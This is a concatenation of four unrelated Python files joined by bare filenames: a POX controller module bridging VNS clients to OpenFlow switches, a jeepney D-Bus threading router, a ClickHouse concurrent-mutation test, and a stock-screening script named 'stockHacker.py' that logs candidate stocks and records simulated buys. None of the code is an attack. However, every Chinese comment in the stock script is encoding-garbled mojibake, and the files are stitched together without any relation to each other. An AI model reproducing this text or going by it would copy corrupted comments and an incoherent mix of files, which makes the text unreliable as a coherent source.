from pox.core import core import pox.openflow.libopenflow_01 as of from pox.lib.revent import * from pox.lib.util import dpidToStr from pox.lib.util import str_to_bool from pox.lib.recoco import Timer from pox.lib.packet import ethernet import time import threading import asyncore import collections import logging import socket # Required for VNS import sys import os from twisted.python import threadable from threading import Thread from twisted.internet import reactor from VNSProtocol import VNS_DEFAULT_PORT, create_vns_server from VNSProtocol import VNSOpen, VNSClose, VNSPacket from VNSProtocol import VNSInterface, VNSSwitchInterface, VNSHardwareInfo log = core.getLogger() def pack_mac(macaddr): octets = macaddr.split(':') ret = '' for byte in octets: ret += chr(int(byte, 16)) return ret def pack_ip(ipaddr): octets = ipaddr.split('.') ret = '' for byte in octets: ret += chr(int(byte)) return ret class VNetDevice: def __init__ (self, swid, ifaces): self.swid = swid self.conn = None self.intfname_to_port = {} self.port_to_intfname = {} self.interfaces = [] for intf in ifaces.keys(): ip, mask, mac, port = ifaces[intf] if (ip is None or mask is None or mac is None): self.interfaces.append(VNSSwitchInterface(intf)) else: ip = pack_ip(ip) mask = pack_ip(mask) mac = pack_mac(mac) self.interfaces.append(VNSInterface(intf, mac, ip, mask)) # Mapping between of-port and intf-name self.intfname_to_port[intf] = port self.port_to_intfname[port] = intf def handle_packet_msg(self, vns_msg): out_intf = vns_msg.intf_name pkt = vns_msg.ethernet_frame try: out_port = self.intfname_to_port[out_intf] except KeyError: log.debug('packet-out through wrong port number %s' % out_port) return log.debug("Packet out %s.%s: %r" % (self.swid, out_intf, ethernet(pkt))) log.debug('VNetServerHandler raise packet out event') core.VNetHandler.raiseEvent(VNetPacketOut(pkt, out_port, self.swid)) def handle_VNetPacketIn(self, event): try: intfname = self.port_to_intfname[event.port] except KeyError: log.debug("Couldn't find interface for portnumber %s" % event.port) return log.debug("Packet in %s.%s: %s" % (self.swid, intfname, ethernet(event.pkt))) if (self.conn is None): log.debug("VNet device %s is not connected" % (self.swid)) return self.conn.send(VNSPacket(intfname, event.pkt)) class VNetServerListener(EventMixin): ''' TCP Server to handle connection to VNet ''' def __init__ (self, address=('127.0.0.1', 8888)): port = address[1] self.listenTo(core.VNetOFNetHandler) self.devsByConn = {} self.devsByName = {} self.server = create_vns_server(port, self.recv_msg, self.handle_new_client, self.handle_client_disconnect) log.info("VNet server listening on %s:%d" % (address[0],address[1])) return def _handle_VNetPacketIn(self, event): dev = self.devsByName[event.swid] if (dev is None): return dev.handle_VNetPacketIn(event) def recv_msg(self, conn, vns_msg): # demux sr-client messages and take approriate actions if vns_msg is None: log.debug("invalid message") self.handle_close_msg(conn) return log.debug('Received VNS msg: %s' % vns_msg) if vns_msg.get_type() == VNSOpen.get_type(): self.handle_open_msg(conn, vns_msg) elif vns_msg.get_type() == VNSClose.get_type(): self.handle_close_msg(conn) elif vns_msg.get_type() == VNSPacket.get_type(): self.handle_packet_msg(conn, vns_msg) else: log.debug('Unexpected VNS message received: %s' % vns_msg) def handle_open_msg(self, conn, vns_msg): dev = self.devsByName[vns_msg.vhost] if (dev is None): log.debug('interfaces for %s not populated yet' % (vns_msg.vhost)) return self.devsByConn[conn] = dev dev.conn = conn conn.send(VNSHardwareInfo(dev.interfaces)) return def handle_close_msg(self, conn): #conn.send("Goodbyte!") # spelling mistake intended... conn.transport.loseConnection() return def handle_packet_msg(self, conn, vns_msg): dev = self.devsByConn[conn] dev.handle_packet_msg(vns_msg) def handle_new_client(self, conn): log.debug('Accepted client at %s' % conn.transport.getPeer().host) return def handle_client_disconnect(self, conn): log.info("Client disconnected") del self.devsByConn[conn] conn.transport.loseConnection() return class VNetPacketOut(Event): '''Event to raise upon receicing a packet back from VNet device''' def __init__(self, packet, port, swid): Event.__init__(self) self.pkt = packet self.port = port self.swid = swid class VNetHandler(EventMixin): _eventMixin_events = set([VNetPacketOut]) def __init__(self): EventMixin.__init__(self) self.listenTo(core) self.listenTo(core.VNetOFNetHandler) # self.server_thread = threading.Thread(target=asyncore.loop) # use twisted as VNS also used Twisted. # its messages are already nicely defined in VNSProtocol.py self.server_thread = threading.Thread(target=lambda: reactor.run(installSignalHandlers=False)) self.server_thread.daemon = True self.server_thread.start() self.server = VNetServerListener() def _handle_VNetDevInfo(self, event): log.info("VNetHandler catch VNetDevInfo(ifaces=%s,swid=%s,dpid=%d)", event.ifaces, event.swid, event.dpid) self.server.devsByName[event.swid] = VNetDevice(event.swid, event.ifaces) def _handle_GoingDownEvent (self, event): log.debug("Shutting down VNetServer") def launch(): """ Starts the VNet handler application. """ core.registerNew(VNetHandler)
threading.py
from concurrent.futures import Future from contextlib import contextmanager import functools from itertools import count import os from selectors import DefaultSelector, EVENT_READ import socket from queue import Queue, Full as QueueFull from threading import Lock, Thread import time from typing import Optional from jeepney import HeaderFields, Message, MessageType, Parser from jeepney.auth import AuthenticationError, BEGIN, make_auth_external, SASLParser from jeepney.bus import get_bus from jeepney.bus_messages import message_bus from jeepney.wrappers import ProxyBase, unwrap_msg from .blocking import unwrap_read from .common import ( MessageFilters, FilterHandle, ReplyMatcher, RouterClosed, check_replyable, ) class ReceiveStopped(Exception): pass class DBusConnection: def __init__(self, sock): self.sock = sock self.parser = Parser() self.outgoing_serial = count(start=1) self.selector = DefaultSelector() self.select_key = self.selector.register(sock, EVENT_READ) self._stop_r, self._stop_w = os.pipe() self.stop_key = self.selector.register(self._stop_r, EVENT_READ) self.send_lock = Lock() self.rcv_lock = Lock() self.unique_name = None def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): self.close() return False def send(self, message: Message, serial=None): """Serialise and send a :class:`~.Message` object""" if serial is None: serial = next(self.outgoing_serial) data = message.serialise(serial=serial) with self.send_lock: self.sock.sendall(data) def receive(self, *, timeout=None) -> Message: """Return the next available message from the connection If the data is ready, this will return immediately, even if timeout<=0. Otherwise, it will wait for up to timeout seconds, or indefinitely if timeout is None. If no message comes in time, it raises TimeoutError. If the connection is closed from another thread, this will raise ReceiveStopped. """ if timeout is not None: deadline = time.monotonic() + timeout else: deadline = None with self.rcv_lock: while True: msg = self.parser.get_next_message() if msg is not None: return msg if deadline is not None: timeout = deadline - time.monotonic() b = self._read_some_data(timeout) self.parser.add_data(b) def _read_some_data(self, timeout=None): # Wait for data or a signal on the stop pipe for key, ev in self.selector.select(timeout): if key == self.select_key: return unwrap_read(self.sock.recv(4096)) elif key == self.stop_key: raise ReceiveStopped("DBus receive stopped from another thread") raise TimeoutError def interrupt(self): """Make any threads waiting for a message raise ReceiveStopped""" os.write(self._stop_w, b'a') def reset_interrupt(self): """Allow calls to .receive() again after .interrupt() To avoid race conditions, you should typically wait for threads to respond (e.g. by joining them) between interrupting and resetting. """ # Clear any data on the stop pipe while (self.stop_key, EVENT_READ) in self.selector.select(timeout=0): os.read(self._stop_r, 1024) def close(self): """Close the connection""" self.interrupt() self.selector.close() self.sock.close() def open_dbus_connection(bus='SESSION'): """Open a plain D-Bus connection :return: :class:`DBusConnection` """ bus_addr = get_bus(bus) sock = socket.socket(family=socket.AF_UNIX) sock.connect(bus_addr) sock.sendall(b'\0' + make_auth_external()) auth_parser = SASLParser() while not auth_parser.authenticated: auth_parser.feed(unwrap_read(sock.recv(1024))) if auth_parser.error: raise AuthenticationError(auth_parser.error) sock.sendall(BEGIN) conn = DBusConnection(sock) conn.parser.add_data(auth_parser.buffer) with DBusRouter(conn) as router: reply_body = Proxy(message_bus, router, timeout=10).Hello() conn.unique_name = reply_body[0] return conn class DBusRouter: """A client D-Bus connection which can wait for replies. This runs a separate receiver thread and dispatches received messages. It's possible to wrap a :class:`DBusConnection` in a router temporarily. Using the connection directly while it is wrapped is not supported, but you can use it again after the router is closed. """ def __init__(self, conn: DBusConnection): self.conn = conn self._replies = ReplyMatcher() self._filters = MessageFilters() self._rcv_thread = Thread(target=self._receiver, daemon=True) self._rcv_thread.start() @property def unique_name(self): return self.conn.unique_name def send(self, message, *, serial=None): """Serialise and send a :class:`~.Message` object""" self.conn.send(message, serial=serial) def send_and_get_reply(self, msg: Message, *, timeout=None) -> Message: """Send a method call message, wait for and return a reply""" check_replyable(msg) if not self._rcv_thread.is_alive(): raise RouterClosed("This D-Bus router has stopped") serial = next(self.conn.outgoing_serial) with self._replies.catch(serial, Future()) as reply_fut: self.conn.send(msg, serial=serial) return reply_fut.result(timeout=timeout) def close(self): """Close this router This does not close the underlying connection. """ self.conn.interrupt() self._rcv_thread.join(timeout=10) self.conn.reset_interrupt() def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): self.close() return False def filter(self, rule, *, queue: Optional[Queue] =None, bufsize=1): """Create a filter for incoming messages Usage:: with router.filter(rule) as queue: matching_msg = queue.get() :param jeepney.MatchRule rule: Catch messages matching this rule :param queue.Queue queue: Matched messages will be added to this :param int bufsize: If no queue is passed in, create one with this size """ return FilterHandle(self._filters, rule, queue or Queue(maxsize=bufsize)) # Code to run in receiver thread ------------------------------------ def _dispatch(self, msg: Message): if self._replies.dispatch(msg): return for filter in self._filters.matches(msg): try: filter.queue.put_nowait(msg) except QueueFull: pass def _receiver(self): try: while True: msg = self.conn.receive() self._dispatch(msg) except ReceiveStopped: pass finally: # Send errors to any tasks still waiting for a message. self._replies.drop_all() class Proxy(ProxyBase): """A blocking proxy for calling D-Bus methods via a :class:`DBusRouter`. You can call methods on the proxy object, such as ``bus_proxy.Hello()`` to make a method call over D-Bus and wait for a reply. It will either return a tuple of returned data, or raise :exc:`.DBusErrorResponse`. The methods available are defined by the message generator you wrap. You can set a time limit on a call by passing ``_timeout=`` in the method call, or set a default when creating the proxy. The ``_timeout`` argument is not passed to the message generator. All timeouts are in seconds, and :exc:`TimeoutErrror` is raised if it expires before a reply arrives. :param msggen: A message generator object :param ~threading.DBusRouter router: Router to send and receive messages :param float timeout: Default seconds to wait for a reply, or None for no limit """ def __init__(self, msggen, router, *, timeout=None): super().__init__(msggen) self._router = router self._timeout = timeout def __repr__(self): extra = '' if (self._timeout is None) else f', timeout={self._timeout}' return f"Proxy({self._msggen}, {self._router}{extra})" def _method_call(self, make_msg): @functools.wraps(make_msg) def inner(*args, **kwargs): timeout = kwargs.pop('_timeout', self._timeout) msg = make_msg(*args, **kwargs) assert msg.header.message_type is MessageType.method_call reply = self._router.send_and_get_reply(msg, timeout=timeout) return unwrap_msg(reply) return inner @contextmanager def open_dbus_router(bus='SESSION'): """Open a D-Bus 'router' to send and receive messages. Use as a context manager:: with open_dbus_router() as router: ... On leaving the ``with`` block, the connection will be closed. :param str bus: 'SESSION' or 'SYSTEM' or a supported address. :return: :class:`DBusRouter` """ with open_dbus_connection(bus=bus) as conn: with DBusRouter(conn) as router: yield router
test.py
import logging import random import threading import time from collections import Counter import pytest from helpers.cluster import ClickHouseCluster cluster = ClickHouseCluster(__file__) node1 = cluster.add_instance("node1", macros={"cluster": "test1"}, with_zookeeper=True) # Check, that limits on max part size for merges doesn`t affect mutations node2 = cluster.add_instance( "node2", macros={"cluster": "test1"}, main_configs=["configs/merge_tree.xml"], with_zookeeper=True, ) node3 = cluster.add_instance( "node3", macros={"cluster": "test2"}, main_configs=["configs/merge_tree_max_parts.xml"], with_zookeeper=True, ) node4 = cluster.add_instance( "node4", macros={"cluster": "test2"}, main_configs=["configs/merge_tree_max_parts.xml"], with_zookeeper=True, ) node5 = cluster.add_instance( "node5", macros={"cluster": "test3"}, main_configs=["configs/merge_tree_max_parts.xml"], ) all_nodes = [node1, node2, node3, node4, node5] def prepare_cluster(): for node in all_nodes: node.query("DROP TABLE IF EXISTS test_mutations SYNC") for node in [node1, node2, node3, node4]: node.query( """ CREATE TABLE test_mutations(d Date, x UInt32, i UInt32) ENGINE ReplicatedMergeTree('/clickhouse/{cluster}/tables/test/test_mutations', '{instance}') ORDER BY x PARTITION BY toYYYYMM(d) SETTINGS number_of_free_entries_in_pool_to_execute_mutation=0 """ ) node5.query( "CREATE TABLE test_mutations(d Date, x UInt32, i UInt32) ENGINE MergeTree() ORDER BY x PARTITION BY toYYYYMM(d)" ) @pytest.fixture(scope="module") def started_cluster(): try: cluster.start() yield cluster finally: cluster.shutdown() class Runner: def __init__(self, nodes): self.nodes = nodes self.mtx = threading.Lock() self.total_inserted_xs = 0 self.total_inserted_rows = 0 self.total_mutations = 0 self.total_deleted_xs = 0 self.total_deleted_rows = 0 self.current_xs = Counter() self.currently_inserting_xs = Counter() self.currently_deleting_xs = set() self.stop_ev = threading.Event() self.exceptions = [] def do_insert(self, thread_num, partitions_num): self.stop_ev.wait(random.random()) # Each thread inserts a small random number of rows with random year, month 01 and day determined # by the thread number. The idea is to avoid spurious duplicates and to insert into a # nontrivial number of partitions. month = "01" day = str(thread_num + 1).zfill(2) i = 1 while not self.stop_ev.is_set(): xs = [random.randint(1, 10) for _ in range(random.randint(1, 10))] with self.mtx: xs = [x for x in xs if x not in self.currently_deleting_xs] if len(xs) == 0: continue for x in xs: self.currently_inserting_xs[x] += 1 year = 2000 + random.randint(0, partitions_num) date_str = "{year}-{month}-{day}".format(year=year, month=month, day=day) payload = "" for x in xs: payload += "{date_str} {x} {i}\n".format(date_str=date_str, x=x, i=i) i += 1 try: logging.debug(f"thread {thread_num}: insert for {date_str}: {xs}") random.choice(self.nodes).query( "INSERT INTO test_mutations FORMAT TSV", payload ) with self.mtx: for x in xs: self.current_xs[x] += 1 self.total_inserted_xs += sum(xs) self.total_inserted_rows += len(xs) except Exception as e: logging.debug(f"Exception while inserting: {e}") self.exceptions.append(e) finally: with self.mtx: for x in xs: self.currently_inserting_xs[x] -= 1 self.stop_ev.wait(0.2 + random.random() / 5) def do_delete(self, thread_num): self.stop_ev.wait(1.0 + random.random()) while not self.stop_ev.is_set(): chosen = False with self.mtx: if self.current_xs: x = random.choice(list(self.current_xs.elements())) if ( self.currently_inserting_xs[x] == 0 and x not in self.currently_deleting_xs ): chosen = True self.currently_deleting_xs.add(x) to_delete_count = self.current_xs[x] if not chosen: self.stop_ev.wait(0.1 * random.random()) continue try: logging.debug(f"thread {thread_num}: delete {to_delete_count} * {x}") random.choice(self.nodes).query( "ALTER TABLE test_mutations DELETE WHERE x = {}".format(x) ) with self.mtx: self.total_mutations += 1 self.current_xs[x] -= to_delete_count self.total_deleted_xs += to_delete_count * x self.total_deleted_rows += to_delete_count except Exception as e: logging.debug(f"Exception while deleting: {e}") finally: with self.mtx: self.currently_deleting_xs.remove(x) self.stop_ev.wait(1.0 + random.random() * 2) def wait_for_mutations(nodes, number_of_mutations): for i in range(100): # wait for replication 80 seconds max time.sleep(0.8) def get_done_mutations(node): return int( node.query( "SELECT sum(is_done) FROM system.mutations WHERE table = 'test_mutations'" ).rstrip() ) if all([get_done_mutations(n) == number_of_mutations for n in nodes]): return True return False def test_mutations(started_cluster): prepare_cluster() DURATION_SECONDS = 30 nodes = [node1, node2] runner = Runner(nodes) threads = [] for thread_num in range(5): threads.append(threading.Thread(target=runner.do_insert, args=(thread_num, 10))) for thread_num in (11, 12, 13): threads.append(threading.Thread(target=runner.do_delete, args=(thread_num,))) for t in threads: t.start() time.sleep(DURATION_SECONDS) runner.stop_ev.set() for t in threads: t.join() # Sanity check: at least something was inserted and something was deleted assert runner.total_inserted_rows > 0 assert runner.total_mutations > 0 all_done = wait_for_mutations(nodes, runner.total_mutations) logging.debug(f"Total mutations: {runner.total_mutations}") for node in nodes: logging.debug( node.query( "SELECT mutation_id, command, parts_to_do, is_done FROM system.mutations WHERE table = 'test_mutations' FORMAT TSVWithNames" ) ) assert all_done expected_sum = runner.total_inserted_xs - runner.total_deleted_xs actual_sums = [] for i, node in enumerate(nodes): actual_sums.append( int(node.query("SELECT sum(x) FROM test_mutations").rstrip()) ) assert actual_sums[i] == expected_sum @pytest.mark.parametrize( ("nodes",), [ ( [ node5, ], ), # MergeTree ([node3, node4],), # ReplicatedMergeTree ], ) def test_mutations_dont_prevent_merges(started_cluster, nodes): prepare_cluster() for year in range(2000, 2016): rows = "" date_str = "{}-01-{}".format(year, random.randint(1, 10)) for i in range(10): rows += "{} {} {}\n".format(date_str, random.randint(1, 10), i) nodes[0].query("INSERT INTO test_mutations FORMAT TSV", rows) # will run mutations of 16 parts in parallel, mutations will sleep for about 20 seconds nodes[0].query("ALTER TABLE test_mutations UPDATE i = sleepEachRow(2) WHERE 1") runner = Runner(nodes) threads = [] for thread_num in range(2): threads.append(threading.Thread(target=runner.do_insert, args=(thread_num, 0))) # will insert approx 8-10 new parts per 1 second into one partition for t in threads: t.start() all_done = wait_for_mutations(nodes, 1) runner.stop_ev.set() for t in threads: t.join() for node in nodes: logging.debug( node.query( "SELECT mutation_id, command, parts_to_do, is_done FROM system.mutations WHERE table = 'test_mutations' FORMAT TSVWithNames" ) ) logging.debug( node.query( "SELECT partition, count(name), sum(active), sum(active*rows) FROM system.parts WHERE table ='test_mutations' GROUP BY partition FORMAT TSVWithNames" ) ) assert all_done, "All done" assert all([str(e).find("Too many parts") < 0 for e in runner.exceptions])
stockHacker.py
import datetime import operator import threading import time import util.logUtil as log import easyquotation # from dbUtil import mysqlUtil from time import strftime, localtime from entity.AlternativeStockPool import AlternativeStockPool from simulationTrader.service import alternativeStockPoolService from simulationTrader.tradeUtil import buyStock from util import stockUtil from util import ig507Util from util import tushareUtil quotation = easyquotation.use('qq') # ๆ–ฐๆตช ['sina'] ่…พ่ฎฏ ['tencent', 'qq'] # ่‚ก็ฅจๆ•ฐๆฎlist rawStockCodeList = [] # ๅŽŸๅง‹ไธๅธฆๅ‰็ผ€ stockCodeList = [] # ๅธฆๅ‰็ผ€ stockHistoryList = [] # ่‚ก็ฅจๅކๅฒๆ•ฐๆฎ stockRankList = [] # ่‚ก็ฅจๆถจ่ทŒๅน…ๆŽ’่กŒ stockRank100List = [] # ่‚ก็ฅจๆถจๅน…ๆŽ’่กŒๅ‰100 # ๅ…จ่‚ก็ฅจๆ•ฐๆฎ้›†ๅˆ stockHistoryDict = {} # ่‚ก็ฅจไธŠไธชไบคๆ˜“ๆ—ฅไฟกๆฏ allStockHistoryDict = {} # ่ฟ‡ๅŽปๆŒ‡ๅฎšๆ—ถ้—ดๅ†…ๅ…จ้ƒจ่‚ก็ฅจไฟกๆฏ stockRealDict = {} # ่‚ก็ฅจๅฎžๆ—ถไฟกๆฏ stockRankDict = {} # ่‚ก็ฅจๆถจ่ทŒๅน…ๆŽ’่กŒ stockRank100Dict = {} # ่‚ก็ฅจๆถจๅน…ๆŽ’่กŒๅ‰100 stockTargetDict = {} # ็›ฎๆ ‡่ฆๆ“ไฝœ็š„่‚ก็ฅจไฟกๆฏ๏ผˆๅซ5ๆกฃ๏ผ‰ candidateList = {} # ๅ€™้€‰่‚ก็ฅจ # ************************************************************************************* # ๆ ‡ๅ‡†ๆ–นๆณ• # ************************************************************************************* # ************************************************************************************* # ๅˆทๆ–ฐ่Žทๅ–ๆ‰€ๆœ‰่‚ก็ฅจๆ•ฐ็ป„ๆ•ฐๆฎ๏ผŒๅนถไฟๅญ˜ๅˆฐstockRealDict, key=stock_code def get_all_real_and_save(stockCodeListList): global stockRealDict for stockCodeList in stockCodeListList: tempDict = quotation.get_stock_data(stockCodeList) for key in tempDict.keys(): stockData = tempDict[key] # ๅฆ‚ๆžœ่ฏฅ็ฅจ็š„keyไธๅญ˜ๅœจ๏ผŒๅˆ™่ทณ่ฟ‡ if stockHistoryDict.get(key) == None: continue # ๅฆ‚ๆžœ่ฏฅ็ฅจๆœชๅผ€็›˜๏ผŒๅˆ™่ทณ่ฟ‡ if stockData['now'] == None or stockHistoryDict[key]['close'] == None: continue # ๆ นๆฎไธŠไธชๆ”ถ็›˜ไปท๏ผŒ่ฎก็ฎ—ๅฝ“ๅคฉๆถจๅœไปทๆ ผ stockData['limit_high'] = stockUtil.calc_price_limit_high(stockHistoryDict[key]['close']) # ๆ นๆฎไธŠไธชๆ”ถ็›˜ไปท๏ผŒ่ฎก็ฎ—ๅฝ“ๅคฉๆถจๅœๅน…ๅบฆ stockData['change_range'] = stockUtil.calc_price_change_range(stockHistoryDict[key]['close'], stockData['now']) stockRealDict[key] = stockData # ๅˆทๆ–ฐ่Žทๅ–ๆŽ’ๅ้ ๅ‰่‚ก็ฅจๆ•ฐ็ป„ๆ•ฐๆฎ๏ผŒๅนถไฟๅญ˜ๅˆฐstockReal100Dict, key=stock_code def get_top_real_and_save(): global stockRank100List global stockRank100Dict if stockRank100List.__len__() < 1: return refreshTopTime = datetime.datetime.now() tempDict = quotation.get_stock_data(stockRank100List) # log.info('Top100่กŒๆƒ…API่Žทๅ–่€—ๆ—ถ:' + format((datetime.datetime.now() - refreshTopTime).total_seconds(), '.3f') + 'S') stockRank100Dict.clear() # ่Žทๅ–ๆœ€ๆ–ฐtop100ๅˆ†ๆ—ถไปทๆ ผๆ•ฐๆฎ for key in tempDict.keys(): stockData = tempDict[key] # ๅฆ‚ๆžœ่ฏฅ็ฅจ็š„keyไธๅญ˜ๅœจ๏ผŒๅˆ™่ทณ่ฟ‡ if stockHistoryDict.get(key) == None: continue # ๅฆ‚ๆžœ่ฏฅ็ฅจๆœชๅผ€็›˜๏ผŒๅˆ™่ทณ่ฟ‡ if stockData['now'] == None or stockHistoryDict[key]['close'] == None: continue # ๆ นๆฎไธŠไธชๆ”ถ็›˜ไปท๏ผŒ่ฎก็ฎ—ๅฝ“ๅคฉๆถจๅœไปทๆ ผ stockData['limit_high'] = stockUtil.calc_price_limit_high(stockHistoryDict[key]['close']) # ๆ นๆฎไธŠไธชๆ”ถ็›˜ไปท๏ผŒ่ฎก็ฎ—ๅฝ“ๅคฉๆถจๅœๅน…ๅบฆ stockData['change_range'] = stockUtil.calc_price_change_range(stockHistoryDict[key]['close'], stockData['now']) stockRank100Dict[key] = stockData tempDict.clear() log.info('Top100่กŒๆƒ…ๅˆทๆ–ฐ่€—ๆ—ถ:' + format((datetime.datetime.now() - refreshTopTime).total_seconds(), '.3f') + 'S') # ๅฏนๆถจๅน…ๅ‰100็š„่ฟ›่กŒๆŽ’ๅบ def sort_stock_rank100(): global stockRealDict global stockRankDict global stockRankList global stockRank100List # ๆŒ‰ๆœ€ๆ–ฐๆถจ่ทŒๅน…ๆŽ’ๅบ for key in stockRealDict.keys(): try: stockRankDict[key] = stockRealDict[key]['change_range'] except: log.info(stockRealDict[key]) stockRealDict[key]['change_range'] stockRankList = sorted(stockRankDict.items(), key=operator.itemgetter(1), reverse=True) stockRank100List.clear() for rank in stockRankList[0:100]: stockRank100List.append(stockUtil.get_complete_stock_code(rank[0])) # ************************************************************************************* # ๅคš็บฟ็จ‹ๅฎšๆ—ถๆ‰ง่กŒไปปๅŠก # ************************************************************************************* # ๅฎšๆ—ถไปปๅŠก๏ผŒๅˆทๆ–ฐๆœ€ๆ–ฐ่‚ก็ฅจไปทๆ ผ def refresh_real_info(stockCodeListList): global stockRealDict global stockRankDict global stockRankList global stockRank100List # ่Žทๅ–ๆœ€ๆ–ฐๅˆ†ๆ—ถไปทๆ ผๆ•ฐๆฎ while True: try: refreshTime = datetime.datetime.now() # ๆ›ดๆ–ฐๆ•ฐๆฎ้”ฎๅ€ผๅฏน get_all_real_and_save(stockCodeListList) # log.info('ๅ…จ่กŒๆƒ…API่Žทๅ–่€—ๆ—ถ' + format((datetime.datetime.now() - refreshTime).total_seconds(), '.3f') + 'S') sort_stock_rank100() log.info('ๅ…จ่กŒๆƒ…ๅˆทๆ–ฐ่€—ๆ—ถ' + format((datetime.datetime.now() - refreshTime).total_seconds(), '.3f') + 'S') refreshTime = datetime.datetime.now() time.sleep(60) except Exception as e: log.info('ๅ…จ่กŒๆƒ…ๅˆทๆ–ฐๅคฑ่ดฅ:' + e.__str__()) # ๅฎšๆ—ถไปปๅŠก๏ผŒๅˆทๆ–ฐๆŽฅ่ฟ‘ๆถจๅœ็š„ๅ‰100ไธช่‚ก็ฅจๆœ€ๆ–ฐๆƒ…ๅ†ต def refresh_top100_info(): global stockCodeList # ่Žทๅ–ๆœ€ๆ–ฐๅˆ†ๆ—ถไปทๆ ผๆ•ฐๆฎ while True: try: # ๆ›ดๆ–ฐๆ•ฐๆฎ้”ฎๅ€ผๅฏน get_top_real_and_save() time.sleep(1) except Exception as ex: log.error('Top100ๅˆทๆ–ฐ้”™่ฏฏ:' + ex.__str__()) # ๅฎšๆ—ถไปปๅŠก๏ผŒๅˆคๆ–ญtop100่‚ก็ฅจ็š„ๅฎžๆ—ถ5ๆกฃ่กŒๆƒ…๏ผŒๅนถ็‰ฉ่‰ฒๅˆ้€‚็š„ๅพ…ๆ“ไฝœ็›ฎๆ ‡ def select_target_from_top100(): global stockRank100Dict global candidateList while True: try: time.sleep(1) for key in stockRank100Dict.keys(): # ๅ–ๅ‡บๅ•ๅช่‚ก็ฅจๅฎžๆ—ถๆ•ฐๆฎ stockData = stockRank100Dict[key] # ๅ–ๅ‡บๅ•ๅช่‚ก็ฅจ่ฟ‡ๅŽป60ๆ—ฅๆ•ฐๆฎ stockHistory60Data = allStockHistoryDict[key] # ๅˆคๆ–ญๅฝ“ๅ‰่‚ก็ฅจๆ˜ฏๅฆๆฟ’ไธดๆถจๅœ๏ผˆask1ๅœจๆถจๅœไปทๆ ผไธŠ๏ผ‰ if not stockUtil.is_ask1_at_high_limit(stockData): continue # ๅˆคๆ–ญๅ–ไธ€ๅ‰ฉไฝ™้‡‘้ขๆ˜ฏๅฆๅฐไบŽๆŒ‡ๅฎšๆ•ฐ้‡ if not stockUtil.ask1_money_less_than_goal(stockData): continue # ๅˆคๆ–ญ้‡่ƒฝๆ˜ฏๅฆๆธฉๅ’Œๆ”พ้‡ # if not stockUtil.is_moderate_volume(stockHistory60Data): # continue # TODO ๅˆคๆ–ญ่ฟ‡ๅŽปnไธชไบคๆ˜“ๆ—ฅๅ†…๏ผŒๆœ€้ซ˜ๆถจๅน…ๆ˜ฏๅฆ็ฌฆๅˆ1.2ๅ€-1.8ๅ€็š„ๅŒบ้—ด # TODO ๅˆคๆ–ญๅฝ“ๅ‰่‚ก็ฅจๅฝ“ๆ—ฅๅ†…็š„ๅผ€ๆฟๆฌกๆ•ฐ # TODO ๅˆคๆ–ญๅฝ“ๅคฉไปทๆ ผๆ˜ฏๅฆๆ˜ฏ30ๆ—ฅๅ†…็š„ๆ–ฐ้ซ˜๏ผŒๅฆ‚ๆžœไธๆ˜ฏ๏ผŒ่ฎก็ฎ—ๅ‡บไธŽๅ‰้ซ˜็š„ๅทฎ่ท # TODO ๅˆคๆ–ญๆฟๅญไธŠ็š„ๅฐๅ•ๆ•ฐ้‡ๆ˜ฏๅฆๆปก่ถณ๏ผŒๅˆคๆ–ญๅ–ไธ€ๆ˜ฏๅฆ้‡‘้ขๅฐไบŽ500W # TODO ๅˆคๆ–ญๆ‰€ๅฑžๆฟๅ—็š„ๆถจๅน…๏ผŒไปฅๅŠๆ‰€ๅฑžๆฟๅ—ๆ˜ฏๅฆๆ˜ฏ็ƒญ็‚น # TODO ๆ นๆฎ้ฆ–ๆฌกๆถจๅœๆ—ถ้—ดใ€่ฎก็ฎ—่ฟžๆฟๆ•ฐ้‡ๅˆคๆ–ญๆ˜ฏไธๆ˜ฏ้พ™ๅคด๏ผŸ # ๅˆคๆ–ญๅฝ“ๅ‰่‚ก็ฅจๅฝ“ๆ—ฅๅ†…ๆ˜ฏๅฆๆœ‰่ฟ‡ๆถจๅœ # if not stockUtil.has_reached_high_limit(stockData): # continue # ################################################################################# alternativeStock = candidateList[key] = stockRank100Dict[key] # ๆทปๅŠ ๅˆฐๅ€™้€‰่‚ก็ฅจๆฑ  log.info('้€‰ไธญ่‚ก็ฅจ:' + key) log.info('ๅฎžๆ—ถๆ•ฐๆฎ:' + str(candidateList[key])) # ๆทปๅŠ ๅˆฐๅ€™้€‰่‚ก็ฅจๆฑ  alternativeStockPool = AlternativeStockPool( stock_code=alternativeStock["code"], stock_name=alternativeStock["name"], buy=None, sell=None, now=alternativeStock["now"], open=alternativeStock["open"], close=alternativeStock["close"], high=alternativeStock["high"], low=alternativeStock["low"], turnover=alternativeStock["turnover"], volume=alternativeStock["volume"], ask1=alternativeStock["ask1"], ask1_volume=alternativeStock["ask1_volume"], ask2=alternativeStock["ask2"], ask2_volume=alternativeStock["ask2_volume"], ask3=alternativeStock["ask3"], ask3_volume=alternativeStock["ask3_volume"], ask4=alternativeStock["ask4"], ask4_volume=alternativeStock["ask4_volume"], ask5=alternativeStock["ask5"], ask5_volume=alternativeStock["ask5_volume"], bid1=alternativeStock["bid1"], bid1_volume=alternativeStock["bid1_volume"], bid2=alternativeStock["bid2"], bid2_volume=alternativeStock["bid2_volume"], bid3=alternativeStock["bid3"], bid3_volume=alternativeStock["bid3_volume"], bid4=alternativeStock["bid4"], bid4_volume=alternativeStock["bid4_volume"], bid5=alternativeStock["bid5"], bid5_volume=alternativeStock["bid5_volume"], date=datetime.datetime.now().strftime('%Y%m%d'), time=alternativeStock["datetime"], timestamp=datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] ) # ๆ’ๅ…ฅ้€‰่‚ก่ฎฐๅฝ• alternativeStockPoolService.insert(alternativeStockPool) # ๅˆคๆ–ญๆ˜ฏๅฆๅœจไบคๆ˜“ๆ—ถ้—ด่Œƒๅ›ดๅ†… currentTime = datetime.datetime.now().strftime('%H%M%S') if("093000" < currentTime < "113000") or ("130000" < currentTime < "150000"): # ่ฎก็ฎ—ไนฐๅ…ฅๆ•ฐ้‡๏ผˆๆœ€ๅคงไธ่ถ…่ฟ‡1W๏ผ‰ buyAmount = int((10000/alternativeStockPool.now)/100)*100 # ๆ’ๅ…ฅ่ดญไนฐ่ฎฐๅฝ• buyStock(alternativeStockPool,buyAmount) # ################################################################################# log.info('********************************************************************') log.info(candidateList.keys()) log.info('********************************************************************') except Exception as e: log.info('้€‰่‚กๅคฑ่ดฅ:' + e.__str__()) # 